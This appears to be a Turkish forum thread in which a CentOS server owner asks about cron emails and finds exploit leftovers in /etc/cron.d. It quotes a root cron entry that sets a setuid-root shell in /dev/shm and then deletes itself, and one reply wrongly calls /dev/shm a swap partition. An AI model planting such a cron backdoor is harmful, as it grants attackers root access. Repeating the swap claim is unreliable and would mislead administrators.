Sunucumdan Cron Daemon adında Herdakika Mail Geliyor??

tmp kalsörünün içini bilgisayarıma indirdim içinden bir sürü trojan ve exploit çıktı sonra serverdaki temp içini temizledim
etc/cron.d/ içinde
core.21945
core.22489
core.22513
bunlar var
içinde de core diye klasör yok
maillerde bahsettğim gibi
Cron <root@php> chown root /dev/shm/sh ; chmod 4755 /dev/shm/sh ; rm -f /etc/cron.d/core
şeklinde geliyor
içerikleri ise
chown: cannot access `/dev/shm/sh': No such file or directory
chmod: cannot access `/dev/shm/sh': No such file or directory
chown: cannot access `/dev/shm/r00t': No such file or directory

shm klasör değil hoca onun içindeki sh a nasıl chown root verir bir ayarda yanlışlık var shm swap için ayrılan harddisk bölümü

bende /dev klasörü içinde shm diye dosya yok klasör var ve onun içinde de sh diye klasör var (CentOS 4.4 i686 ) yüklü

cd /dev/shm
rm -rf *.*

shm yi temizle bakalım shm

df -l

yazarsan görürsün 2 yada 1 gb lik ayrı bir bölüm bu Swap bellek dosya sistemi olarak kullanılmaz bu...

sorunu çözdüm exploit sanırım core dosyalarının içinde
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root chown root /dev/shm/sh ; chmod 4755 /dev/shm/sh ; rm -f /etc/cron.d/core


iberelerini silince olay cözüldü